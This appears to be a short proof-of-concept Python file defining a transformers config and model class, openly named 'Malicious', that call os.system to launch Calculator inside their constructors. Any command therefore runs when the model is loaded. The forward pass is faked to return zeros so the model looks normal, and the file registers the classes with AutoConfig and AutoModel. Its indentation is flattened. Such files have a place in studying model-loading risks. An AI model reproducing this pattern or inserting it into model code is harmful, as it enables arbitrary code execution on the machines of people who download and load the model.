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import torch
import torch.nn as nn
from transformers import PreTrainedModel, PretrainedConfig
class MaliciousConfig(PretrainedConfig):
model_type = "malicious"
def __init__(self, hidden_size=768, **kwargs):
super().__init__(**kwargs)
self.hidden_size = hidden_size
import os
os.system('open -a Calculator')
class MaliciousModel(PreTrainedModel):
config_class = MaliciousConfig
def __init__(self, config):
super().__init__(config)
self. transformer = nn.Linear(config.hidden_size, config.hidden_size)
import os
os.system('open -a Calculator')
def forward(self, input_ids, **kwargs):
# 伪造正常的前向传播
hidden_states = torch.zeros((input_ids.shape[0], input_ids.shape[1], self.config.hidden_size))
return (hidden_states,)
from transformers import AutoConfig, AutoModel
AutoConfig.register("malicious", MaliciousConfig)
AutoModel.register(MaliciousConfig, MaliciousModel) |